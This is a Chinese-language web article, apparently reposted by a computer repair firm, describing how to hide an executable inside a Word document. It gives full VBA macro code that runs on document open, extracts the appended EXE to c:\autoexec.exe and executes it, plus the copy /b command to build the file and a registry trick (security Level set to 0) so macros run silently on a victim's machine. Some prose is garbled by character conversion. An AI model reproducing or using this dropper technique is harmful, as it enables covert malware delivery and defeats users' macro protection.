设为主页 | 加入收藏 | 繁體中文

EXE文件转变DOC文件格式的方法

  这种转换并不是文件格式上的变革,只不外是把一个EXE文件接在一个DOC文件的末尾而已,这个DOC文件当然就不是不同WORD的文档啦,该文档中包含了宏语句,能在运转的时间把接在自己文件末尾的EXE文件数据读取出来并运转,就造成一种假象,好象文档翻开时就运转了EXE文件似的.(和文件捆绑器的原理很象啊!)
  熟悉VB的朋侪都晓得,WORD的宏是利用VBA来编写的,具体语法和VB一样,但有些方法VB中没有,如宏病毒就是利用宏复制语句来到达熏染的目标.和VB一样,我们可以在编写宏的时间挪用WINDOWS API!!下面我们来先容一下我们编写这个宏需要用到的API函数:
  1)CreateFile 用于翻开文件,该函数VB的声明如下:
  Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long
  2)CloseHandle 用于封闭被翻开文件的句柄,该函数VB的声明如下:
  Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  3)ReadFile 用于从被翻开文件中读取数据,该函数VB的声明如下:
  Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long
  4)WriteFile 用于把读取出的数据写入文件,该函数VB的声明如下:
  Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
  5)SetFilePoniter挪动文件指针,该函数VB的声明如下:
  Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByVal lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
  6)下面因此上函数的参数声明
  Public Const GENERIC_READ As Long = &H80000000
  Public Const GENERIC_WRITE As Long = &H40000000
  Public Const FILE_SHARE_READ As Long = 1
  Public Const FILE_SHARE_WRITE As Long = 2
  Public Const CREATE_NEW As Long = 1
  Public Const CREATE_ALWAYS As Long = 2
  Public Const OPEN_EXISTING As Long = 3
  Public Const OPEN_ALWAYS As Long = 4
  Public Const TRUNCATE_EXISTING As Long = 5
  Public Const INVALID_HANDLE_VALUE As Long = -1
  Public Const FILE_ATTRIBUTE_NORMAL As Long = &H80
  好了,有了这些准备工作就可以开始了,我们运转WORD2000,翻开VISUAL BASIC编辑器,新建一个模块,把下面的函数和参数声明拷进去!再回到“ThisDocument”的代码视图,选择Document Open的事件,输出一下代码:
  Private Sub Document_Open()
  Dim buffer(65536) As Byte
  Dim h, h2, j, i, k As Long
  h = CreateFile(ThisDocument.Path & "/" & ThisDocument.Name, GENERIC_READ, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)
  ‘以SHARE_READ的方法翻开自身的DOC文件
  h2 = CreateFile("c:\autoexec.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0)
  ‘新建一个EXE文件准备存放读取出来的数据.
  If h = INVALID_HANDLE_VALUE Then
  Exit Sub
  End If
  k = SetFilePointer(h, 32768, nil, 0)
  ‘把文件指针挪动到DOC文件与EXE文件交界处.
  Do
  i = ReadFile(h, buffer(0), 65536, j, 0)
  i = WriteFile(h2, buffer(0), j, j, 0)
  Loop Until j < 65536
  CloseHandle (h)
  CloseHandle (h2)
  Shell "c:\autoexec.exe"
  ‘运转EXE文件
  End Sub
  如许宏就编写好了,注意的地方就是下面SetFilePointer函数的利用部门:32768是你编写完宏保存好的DOC文件的文件大小,纷歧顶就是32768哦,大家注意!
  大家大概有疑问,怎样把EXE文件接到DOC文件后面呢?很简单,把你要接的EXE放到和这个DOC文件同一个目录下.运转DOC命令:
  copy /b xxxx.doc + xxxxx.exe newdoc.doc
  如许就可以了~~~.当你翻开这个NEWDOC.DOC的时间,宏就会把后面的EXE文件读出来并保存在C:\AUTOEXEC.EXE中,然后运转,是不是很可怕啊!不外这需要你的WORD2000安全度为最低的时间才能实现,关于这个安全度的问题,我们又发明了微软的小BUG,大家看看注册表中这个键:
  HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security 中的
  Level值.当安全度是3(高)的时间,WORD不会运转任何的宏,2(中)的时间WORD会询问你是否运转宏,1(低)的时间WORD就会自动运转全部的宏!但很容易就被发明安全度被设为低了,聪明的你肯定想到要是这个值变为0的时间会怎么样!!??对了!要是设为0的话,WORD内里就会表现安全度为高,但却能自动运转任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是MS的后门吧?
  要是要受害人的机器接受你的DOC文件又能顺利运转,最紧张就是把WORD的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是IE的歹意代码能实现的都太多了,别的,要是网页上毗连上是DOC的话,IE也会自动下载该DOC文件!危险的MS啊!!
  这个算不算毛病我不敢说,但防备真的很难,除非一天到晚监视着注册表,或者不消WORD?太消极了吧,最紧张的是警惕防备,陌生人的工具千万不要收!包括非EXE文件,我们现在发明了DOC文件能隐藏EXE文件,也会有人发明其他文件能隐藏EXE,所以大家千万要警惕.
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: